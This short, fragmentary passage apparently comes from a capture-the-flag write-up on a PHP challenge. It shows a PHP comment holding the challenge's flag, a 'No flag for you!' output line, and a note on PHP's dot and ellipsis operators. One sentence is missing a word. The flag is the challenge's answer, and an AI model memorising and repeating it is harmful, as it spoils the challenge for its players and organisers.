<?php /* uiuctf{pl3as3_n0_m0rE_pHpee_9f4e3058} */ ?>
No flag for you!
70
"""Afraid of missing anything important, I checked out the actual to see whether these two characters could be used in any other context. We can see . can also be used for ellipsis (...), which is used in function calls and definitions (though this will not prove to be useful for us). Other than that, we are free to go!